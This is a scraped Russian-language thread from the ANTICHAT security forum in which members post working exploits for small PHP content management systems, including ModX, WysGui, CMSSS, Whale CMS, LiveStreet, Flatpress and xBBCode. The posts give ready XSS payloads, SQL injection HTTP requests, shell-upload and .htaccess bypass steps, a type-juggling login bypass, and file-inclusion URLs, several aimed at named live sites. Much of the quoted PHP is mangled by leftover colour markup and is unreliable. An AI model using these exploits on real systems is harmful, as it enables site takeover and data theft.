HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Веб-уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #511  
Старый 23.05.2014, 12:32
YaBtr
Guest
Сообщений: n/a
Провел на форуме:
132418

Репутация: 652
По умолчанию

CMS ModX Revolution 2.2.14-pl

ничего критичного,passive XSS (reflected) на modx.ru

PoC:

Цитата:
Сообщение от None  
modx.ru/katalog-sajtov-na-modx/top/?site_version=1&get=top&root=5
";alert('Antichat')//
&site_year=2014&site_sphere=99&filter=
 
Ответить с цитированием

  #512  
Старый 30.05.2014, 17:10
YaBtr
Guest
Сообщений: n/a
Провел на форуме:
132418

Репутация: 652
По умолчанию

CMS WysGui 2.3

Официальный сайт http://wysgui.com

SQL Injection

Уязвимый сценарий: pageData.php

Зависимости: mq=off

Вектор: error-based

Уязвимый код:

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]...

[/
COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]connect[/COLOR][COLOR="#007700"]();

[/
COLOR][COLOR="#0000BB"]$select[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'SELECT * FROM pagedata WHERE pageURL = "'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]url[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'" LIMIT 1'[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]$query[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]mysql_query[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$select[/COLOR][COLOR="#007700"]) or die([/COLOR][COLOR="#0000BB"]mysql_error[/COLOR][COLOR="#007700"]());

...[/
COLOR][/COLOR
Exploit:

Цитата:
Сообщение от None  
GET /WysGui/index.php/
"*(SELECT 1 from information_schema.tables group by concat((SELECT version()),floor(rand(0)*2)) having min(0))*"
HTTP/1.1
Host: 127.0.0.1
...
 
Ответить с цитированием

  #513  
Старый 09.06.2014, 18:39
YaBtr
Guest
Сообщений: n/a
Провел на форуме:
132418

Репутация: 652
По умолчанию

cms CMSSS 1.8 (с названием не заморачивались )

Официальный сайт http://cmsss.all4all.cz

Демо-версия http://cms.all4all.cz

SQL Injection

Уязвимый сценарий: modules/pol/index.php

Зависимости: mq=off

Вектор: union-query

Уязвимый код:

[PHP]
PHP:
PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"]$topic<font color="#000000"><font color="#007700">...

</
font><font color="#0000BB">$result</font><font color="#007700">=</font><font color="#0000BB">$db</font><font color="#007700">-></font><font color="#0000BB">query</font><font color="#007700">(</font><font color="#DD0000">"SELECT * FROM cmsss_poll_polls"</font><font color="#007700">);

while(</font><font color="#0000BB">$row</font><font color="#007700">=</font><font color="#0000BB">$db</font><font color="#007700">-></font><font color="#0000BB">fetch_array</font><font color="#007700">(</font><font color="#0000BB">$result</font><font color="#007700">)) {

</
font><font color="#0000BB">$row_votes</font><font color="#007700">=</font><font color="#0000BB">$db</font><font color="#007700">-></font><font color="#0000BB">fetch_row</font><font color="#007700">(</font><font color="#DD0000">"SELECT * FROM cmsss_poll_votes WHERE poll_id   = '"</font><font color="#007700">.</font><font color="#0000BB">$row</font><font color="#007700">[</font><font color="#DD0000">'id'</font><font color="#007700">] .</font><font color="#DD0000">"'"</font><font color="#007700">);

for(</font><font color="#0000BB">$x</font><font color="#007700">=</font><font color="#0000BB">0</font><font color="#007700">;</font><font color="#0000BB">$x</font><font color="#007700">alert(1)</font>, который с радостью записывается в БД:

</
font>[COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'topic'[/COLOR][COLOR="#007700"]];

[/
COLOR][COLOR="#0000BB"]$detail[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'detail'[/COLOR][COLOR="#007700"]];

[/
COLOR][COLOR="#0000BB"]$name[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'name'[/COLOR][COLOR="#007700"]];

[/
COLOR][COLOR="#0000BB"]$email[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'email'[/COLOR][COLOR="#007700"]];

[/
COLOR][COLOR="#0000BB"]$kontrola[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'kontrola'[/COLOR][COLOR="#007700"]];

[/
COLOR][COLOR="#0000BB"]$datetime[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]date[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"d.m.y H:i:s"[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#FF8000"]//create date time

[/COLOR][COLOR="#007700"]if([/COLOR][COLOR="#0000BB"]$kontrola[/COLOR][COLOR="#007700"]!=[/COLOR][COLOR="#DD0000"]"ano"[/COLOR][COLOR="#007700"]) {

[/
COLOR][COLOR="#0000BB"]$sql[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"INSERT INTO[/COLOR][COLOR="#0000BB"]$tbl_name[/COLOR][COLOR="#DD0000"](topic, detail, name, email, datetime)VALUES('[/COLOR][COLOR="#0000BB"]$topic[/COLOR][COLOR="#DD0000"]', '[/COLOR][COLOR="#0000BB"]$detail[/COLOR][COLOR="#DD0000"]', '[/COLOR][COLOR="#0000BB"]$name[/COLOR][COLOR="#DD0000"]', '[/COLOR][COLOR="#0000BB"]$email[/COLOR][COLOR="#DD0000"]', '[/COLOR][COLOR="#0000BB"]$datetime[/COLOR][COLOR="#DD0000"]')"[/COLOR][COLOR="#007700"];

[/COLOR][COLOR="#0000BB"]$result[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]mysql_query[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$sql[/COLOR][COLOR="#007700"]);[/COLOR][/COLOR
Соответственно, пользователь, решившый посмотреть топик, получит себе, как минимум alert.

Вы правильно заметили, что тут еще можно провести sql injection, но 2-х инъекций, описанных выше, пока достаточно.

reflected XSS

В данном движке огромное количество reflected XSS(пассивок), искать долго не нужно, например тот же параметр id из 2-ой описанной sql-инъекции.

PHP код:
PHP:
[
COLOR="#000000"][/COLOR]"> 
[/COLOR]
PHP код:
 
PoC:

Цитата:
Сообщение от None  
http://site.com/modules/forum/view_topic.php?id=
">alert(1)
Ну и Shell Upload

Зависимости: права администратора

1.Administration module==> Downloads==> File Create ==> Профит

Создаем файл с shell.php, вписываем мини-шелл, обращаемся, соответственно: site.com/modules/download/soubor/shell.php?=phpinfo();

2. Напрямую грузим файл через форму Upload.

Мега-функция проверяет наше расширение:

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]function[/COLOR][COLOR="#0000BB"]is_script[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$filename[/COLOR][COLOR="#007700"]) {

return[/COLOR][COLOR="#0000BB"]ereg[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'\.php$|\.php3$|\.php4$|\.php5$'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$filename[/COLOR][COLOR="#007700"]);[/COLOR][/COLOR
Обход стандартный: грузим .htaccess с нужным AddType или AddHandler, ну, а потом наш файл, например shell.phtml
 
Ответить с цитированием

  #514  
Старый 18.11.2014, 23:17
Br@!ns
Guest
Сообщений: n/a
Провел на форуме:
179197

Репутация: 25
По умолчанию

Заливка шелла в magento:

1. через site.com/downloader устанавливаем модуль File System ( http://www.magentocommerce.com/magento-connect/file-system.html )

2. заливаем шелл изменяя ненужный файл
 
Ответить с цитированием

  #515  
Старый 23.03.2015, 17:45
faza02
Banned
Регистрация: 21.11.2007
Сообщений: 181
Провел на форуме:
1066435

Репутация: 1013
По умолчанию

CMS: Whale CMS 1.0

Сайт: https://www.whale-cms.de

Админ панель: /backend/

Логин/пароль администратора: SELECT name, passwort from [PREFIX]_users;

SQL Injection и Reflected XSS:

Зависимости: MQ = OFF

/sys/template/include/suchen.php

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]...

[/
COLOR][COLOR="#0000BB"]$newssuche[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'newssuche'[/COLOR][COLOR="#007700"]];

echo[/COLOR][COLOR="#DD0000"]"Du hast nach dem Beitragtitel: \"[/COLOR][COLOR="#0000BB"]$newssuche[/COLOR][COLOR="#DD0000"]\" gesucht. Dadurch wurden folgende Einträge gefunden:

"[/COLOR][COLOR="#007700"];

[/COLOR][COLOR="#0000BB"]$newssuche_abfrage[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]mysql_query[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"SELECT * FROM "[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$prefix[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"news WHERE titel LIKE '%"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$newssuche[/COLOR][COLOR="#007700"]%.[/COLOR][COLOR="#DD0000"]"%' ORDER BY id DESC LIMIT 5"[/COLOR][COLOR="#007700"]);

[/COLOR][COLOR="#0000BB"]$newssuche_ergebnis[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]mysql_query[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$newssuche_abfrage[/COLOR][COLOR="#007700"]) or die([/COLOR][COLOR="#0000BB"]mysql_error[/COLOR][COLOR="#007700"]());

...[/COLOR][/COLOR
Эксплоит:

Код:
Code:
POST /?page=Home&action=suchen HTTP/1.1
Host: localhost
Connection: keep-alive
Content-Length: 85
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: localhost
User-Agent: '
Content-Type: application/x-www-form-urlencoded
Referer: http://localhost/?page=Home
Accept-Encoding: gzip, deflate
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: PHPSESSID=nk29sp2qp46mudr0594bksmb14

newssuche=' union select 1,2,3,4,version(),6,7,8,9,10,11--
Stored XSS и Error-Based SQL Injection:

/sys/template/include/newscontent.php

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]if([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'action'[/COLOR][COLOR="#007700"]] ==[/COLOR][COLOR="#DD0000"]"neueskommentarposten"[/COLOR][COLOR="#007700"])

{

[/COLOR][COLOR="#0000BB"]$newskommitext[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'kommentartext'[/COLOR][COLOR="#007700"]];

[/
COLOR][COLOR="#0000BB"]$newskommiautor[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'kommentarautor'[/COLOR][COLOR="#007700"]];

...

[/
COLOR][COLOR="#0000BB"]$qu8[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]mysql_query[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"INSERT INTO "[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$prefix[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"newskommentar (text, autor, datum, newsID) VALUES ('"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$newskommitext[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"','"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$newskommiautor[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"', '"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$newskommidatum[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"', '"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$newskomminewsID[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"')"[/COLOR][COLOR="#007700"]);

if
([/COLOR][COLOR="#0000BB"]$qu8[/COLOR][COLOR="#007700"]==[/COLOR][COLOR="#0000BB"]true[/COLOR][COLOR="#007700"])

{

...

}

else

{

echo[/COLOR][COLOR="#0000BB"]mysql_error[/COLOR][COLOR="#007700"]();

}[/COLOR][/COLOR
Эксплоит:

Код:
Code:
POST /?page=News&id=35&action=neueskommentarposten HTTP/1.1
Host: localhost
Connection: keep-alive
Content-Length: 65
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: localhost
User-Agent: '
Content-Type: application/x-www-form-urlencoded
Referer: http://localhost/?page=News&id=35
Accept-Encoding: gzip, deflate
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: PHPSESSID=nk29sp2qp46mudr0594bksmb14

kommentarautor=">alert(/XSS/)&kommentartext=test
 
Ответить с цитированием

  #516  
Старый 08.12.2017, 18:51
grimnir
Guest
Сообщений: n/a
Провел на форуме:
216062

Репутация: 231
По умолчанию

 
Ответить с цитированием

  #517  
Старый 03.04.2021, 22:48
Baskin-Robbins
Guest
Сообщений: n/a
Провел на форуме:
92829

Репутация: 212
По умолчанию

LiveStreet 2.1.0

Сайт - livestreetcms.com

#1 Bypass Auth(Type Jugling)

Рандомный обход проверки подлинности пароля, используя особенности гибкого сравнения в PHP.

Залогиниться возможно от юзера, чей пасс в md5 соответсвует 0e[0-9]{30}.

Логинимся с пассом 240610708 - треш бага.

Код:
Code:
application/classes/actions/ActionAuth.class.php:116
----------------------------------------------------
/**
 * Сверяем хеши паролей и проверяем активен ли юзер
 */
if ($this->User_VerifyAccessAuth($oUser) and $oUser->verifyPassword(getRequest('password'))) {
----------------------------------------------------

application/classes/modules/user/entity/User.entity.class.php:655
----------------------------------------------------
public function verifyPassword($sPassword)
{
   return $this->User_VerifyPassword($sPassword, $this->getPassword());
}
----------------------------------------------------

application/classes/modules/user/User.class.php:1955
----------------------------------------------------
public function VerifyPassword($sPassword, $sHash)
{
   return $this->MakeHashPassword($sPassword) == $sHash; // уязвимая точка
}
----------------------------------------------------
#2 Stored XSS

В поле имя в настройках профиля, ограничение поля - 30 символов.

Код:
Code:
application/classes/actions/ActionSettings.class.php
-----------------------
...
            if (func_check(getRequestStr('profile_name'), 'text', 2, Config::Get('module.user.name_max'))) {
                $this->oUserCurrent->setProfileName(getRequestStr('profile_name'));
            } else {
                $this->oUserCurrent->setProfileName(null);
            }
...
-----------------------
#3 Reflected XSS(в админ плагине)

Необходим установленный плагин админки.

Код:
Code:
livestreet2/admin/users/list/?filter[id]=">alert()
/livestreet2/admin/users/admins/?filter[id]=">alert()
livestreet2/admin/users/list/?filter[password]=">alert()

и так далее
Код:
Code:
application/plugins/admin/classes/actions/admin/EventUsers.class.php
-----------------------
protected function GetUsersListByRules($sFullPagePathToEvent, $aAdditionalUsersFilter = array())
...
        $aValidatedSearchRules = $this->GetSearchRule($this->GetDataFromFilter());
...
-----------------------
    
application/plugins/admin/classes/actions/admin/ActionAdmin.class.php
-----------------------
    protected function GetDataFromFilter($sName = null)
    {
        /*
         * получить фильтр, хранящий в себе все параметры (разрезы показа, сортировку, поиск и др.)
         */
        if ($aFilter = getRequest('filter') and is_array($aFilter)) {
            /*
             * если нужны все значения фильтра
             */
            if (!$sName) {
                return $aFilter;
            }
            /*
             * если нужно выбрать одно значение из фильтра
             */
            if ($sName and isset($aFilter[$sName]) and $aFilter[$sName]) {
                return $aFilter[$sName];
            }
        }
        return null;
    }
-----------------------
#3,1 Cookie HttpOnly Bypass(с помощью админ плагина)

Необходим установленный плагин админки. В сорцах выводится PHPSESSID,

этого достаточно для Session Hijacking.

Код:
Code:
application/plugins/admin/frontend/skin/default/layouts/layout.base.tpl
-----------------------
...
    
        var PATH_ROOT = '{Router::GetPath('/')}',
                PATH_SKIN = '{Config::Get("path.skin.web")}',
                PATH_FRAMEWORK_FRONTEND = '{Config::Get("path.framework.frontend.web")}',
                PATH_FRAMEWORK_LIBS_VENDOR = '{Config::Get("path.framework.libs_vendor.web")}',
                /**
                 * Для совместимости с прошлыми версиями. БУДУТ УДАЛЕНЫ
                 */
                DIR_WEB_ROOT = '{Config::Get("path.root.web")}',
                DIR_STATIC_SKIN = '{Config::Get("path.skin.web")}',
                DIR_STATIC_FRAMEWORK = '{Config::Get("path.framework.frontend.web")}',
                DIR_ENGINE_LIBS = '{Config::Get("path.framework.web")}/libs',

                LIVESTREET_SECURITY_KEY = '{$LIVESTREET_SECURITY_KEY}',
                SESSION_ID = '{$_sPhpSessionId}',
                SESSION_NAME = '{$_sPhpSessionName}',
                LANGUAGE = '{Config::Get('lang.current')}',
                WYSIWYG = {if Config::Get('view.wysiwyg')}true{else}false{/if};

        var aRouter = [];
        {foreach $aRouter as $sPage => $sPath}
        aRouter['{$sPage}'] = '{$sPath}';
        {/foreach}
    
...
-----------------------
#3,2 Full Path Disclosure


livestreet2/admin/utils/cron/

Код:
Code:
Внимание! Для работы планировшика нужно на вашем сервере добавить скрипт /var/www/html/livestreet2/application/utilities/cron/main.php в cron с запуском 1 раз в 5 минут. Cron необходимо добавить от имени пользователя, под которым работает ваш веб-сервер. Это позволит избежать проблем с правами. За подробностями работы с cron обратитесь к вашему системному администратору или хостеру.
 
Ответить с цитированием

  #518  
Старый 16.04.2021, 19:09
WallHack
Guest
Сообщений: n/a
Провел на форуме:
61136

Репутация: 32
По умолчанию

Уязвимая библиотека xBBCode (xBB)

Local File include - проверено в 0.28-0.29

Код:
Code:
$lang = isset($_GET['lang']) ? $_GET['lang'] : 'default';
if (! is_file('./i18n/'.$lang.'/lang.php')) {
$lang = 'default';
}
require_once './i18n/default/lang.php';
if ('default' != $lang) {
include_once './i18n/'.$lang.'/lang.php';
}
Пример эксплуатации: frs24.ru/blocks/bbcode/xbb.php?state=plain&lang=../index.php%00

hackzone.ru/scripts/bbcode/index.php
 
Ответить с цитированием

  #519  
Старый 23.04.2021, 10:39
Baskin-Robbins
Guest
Сообщений: n/a
Провел на форуме:
92829

Репутация: 212
По умолчанию

Flatpress 1.2

Сайт - flatpress.org

Показалось забавным - пусть здесь побудет.

Аплоад в админке. Есть какие-то проверки, блек лист, но мы все равно можем загрузить php.

Суть в том, что проверка расширения происходит у tmp файла php[\da-zA-Z]{6}

если быть точнее, до нее не доходит, так как расширения нет.

Ну и плюс проверка mime-типа такой констркуцией

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"]$finfo[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]finfo_open[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]FILEINFO_MIME_TYPE[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]$mime[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]finfo_file[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$finfo[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]__FILE__[/COLOR][COLOR="#007700"]);
[/
COLOR][COLOR="#0000BB"]finfo_close[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$finfo[/COLOR][COLOR="#007700"]);
[/
COLOR][/COLOR
возвращает text/x-php для

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"] $error) {

if ($error == UPLOAD_ERR_OK) {
$tmp_name = $_FILES ["upload"] ["tmp_name"] [$key]; // #1 =====================================
$name = $_FILES ["upload"] ["name"] [$key];

$dir = ATTACHS_DIR;

$uploadfilename = strtolower($tmp_name); // #2 =====================================

$isForbidden = false;
$deeptest = array();
$extcount = 0;
$deeptest = explode('.', $uploadfilename); // #3 =====================================
$extcount = count($deeptest);

if ($extcount == 1) { // #4 проверка пройдена =====================================
$isForbidden = false;
} elseif ($extcount == 2) {
$check_ext1 = "";
$check_ext1 = trim($deeptest [1], "\x00..\x1F");
if (in_array($check_ext1, $blacklist_extensions)) {
$isForbidden = true;
} else {
$isForbidden = false;
}
} elseif ($extcount > 2) {
$check_ext1 = "";
$check_ext2 = "";
$check_ext1 = trim($deeptest [$extcount - 1], "\x00..\x1F");
if (in_array($check_ext1, $blacklist_extensions)) {
$isForbidden = true;
} else {
$isForbidden = false;
}
if (!$isForbidden) {
$check_ext2 = trim($deeptest [$extcount - 2], "\x00..\x1F");
if (in_array($check_ext2, $blacklist_extensions)) {
$isForbidden = true;
} else {
$isForbidden = false;
}
}
}
if ($isForbidden) {
$this->smarty->assign('success', $success ? 1 : -1);
sess_add('admin_uploader_files', $uploaded_files);
return -1;
}

if (version_compare(PHP_VERSION, '5.3.0') [/COLOR] =====================================
$this->smarty->assign('success', $success ? 1 : -1);
sess_add('admin_uploader_files', $uploaded_files);
return -1;
}

$ext = strtolower(strrchr($name, '.'));

if (in_array($ext, $imgs)) {
$dir = IMAGES_DIR;
}

$name = sanitize_title(substr($name, 0, -strlen($ext))) . $ext;

$target = "$dir/$name";
@umask(022);
$success = move_uploaded_file($tmp_name, $target);
@chmod($target, 0766);

$uploaded_files [] = $name;

$success &= $success;
}
}

if ($uploaded_files) {
$this->smarty->assign('success', $success ? 1 : -1);
sess_add('admin_uploader_files', $uploaded_files);
}

return 1;
}

[/
COLOR
 
Ответить с цитированием

  #520  
Старый 23.09.2021, 11:44
crlf
Guest
Сообщений: n/a
Провел на форуме:
169212

Репутация: 441
По умолчанию

[B]Nibbleblog alert("hek");
[/CODE]

./admin/boot/rules/5-url.bit:

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]...
if(
isset([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'controller'[/COLOR][COLOR="#007700"]]) ){[/COLOR][COLOR="#0000BB"]$url[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'controller'[/COLOR][COLOR="#007700"]] =[/COLOR][COLOR="#0000BB"]Validation[/COLOR][COLOR="#007700"]::[/COLOR][COLOR="#0000BB"]sanitize_html[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'controller'[/COLOR][COLOR="#007700"]]); }
if(
isset([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'action'[/COLOR][COLOR="#007700"]]) ) {[/COLOR][COLOR="#0000BB"]$url[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'action'[/COLOR][COLOR="#007700"]] =[/COLOR][COLOR="#0000BB"]Validation[/COLOR][COLOR="#007700"]::[/COLOR][COLOR="#0000BB"]sanitize_html[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'action'[/COLOR][COLOR="#007700"]]); }
...
[/
COLOR][/COLOR
./admin/boot/rules/98-blog.bit:

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]...
[/
COLOR][COLOR="#0000BB"]$layout[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'controller'[/COLOR][COLOR="#007700"]] =[/COLOR][COLOR="#0000BB"]$url[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'controller'[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#DD0000"]'/'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$url[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'action'[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#DD0000"]'.bit'[/COLOR][COLOR="#007700"];
...
[/
COLOR][/COLOR
./index.php:

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]...
if([/
COLOR][COLOR="#0000BB"]file_exists[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]THEME_CONTROLLERS[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$layout[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'controller'[/COLOR][COLOR="#007700"]]))
require([/COLOR][COLOR="#0000BB"]THEME_CONTROLLERS[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$layout[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'controller'[/COLOR][COLOR="#007700"]]);
...
[/
COLOR][/COLOR
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Библиотека SladerNon Болталка 17 05.02.2007 23:30



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ